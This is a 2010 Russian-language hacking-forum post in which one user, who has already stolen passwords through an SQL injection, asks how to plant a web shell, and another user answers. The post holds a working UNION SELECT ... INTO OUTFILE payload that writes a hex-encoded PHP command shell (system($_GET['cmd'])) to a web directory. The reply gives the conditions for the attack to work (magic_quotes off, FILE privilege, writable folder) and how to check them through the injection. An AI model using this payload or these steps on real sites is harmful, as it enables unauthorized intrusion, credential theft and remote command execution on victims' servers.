
03.02.2010, 16:57
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
С нами:
9100556
Репутация:
912
|
|
Сообщение от $ereg@
вообщем есть скуля) пароли вытащил, но они мне оказались никчему(
теперь пробую залить шелл, делаю запрос :
-999+union+select+1,2,0x3c3f206563686f205c223c70726 53e5c223b4073797374656d28245f4745545b5c22636d645c2 25d293b6563686f205c223c2f7072653e5c223b3f3e,4,5,6+ INTO+OUTFILE+'/var/www/bans/z.php'--
В ответ получаю ошибку:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/var/www/bans/z.php-- ORDER BY date ASC' at line 1
пробовал убирать ковычки, дописывать ковычки, записывать путь в hex, ничего хорошего не вышло...
опытные кулхацкеры подскажите ламеру чё делать 
Для того чтобы залился нужно:
1. magic_quotes_gpc = Off
2. file_priv Y
3. папка, доступная на запись
в поле, где выводятся цифры, напиши 's' , если вывелось s - magic_quotes_gpc = off.
делаешь запрос - ....from mysql.user where user= 'username' , username берёшь с того, что выводит user()
ну и нужно найти диру, в которую шелл загрузишь
_http://forum.antichat.ru/thread104591.html , см Вопрос №7
|
|
|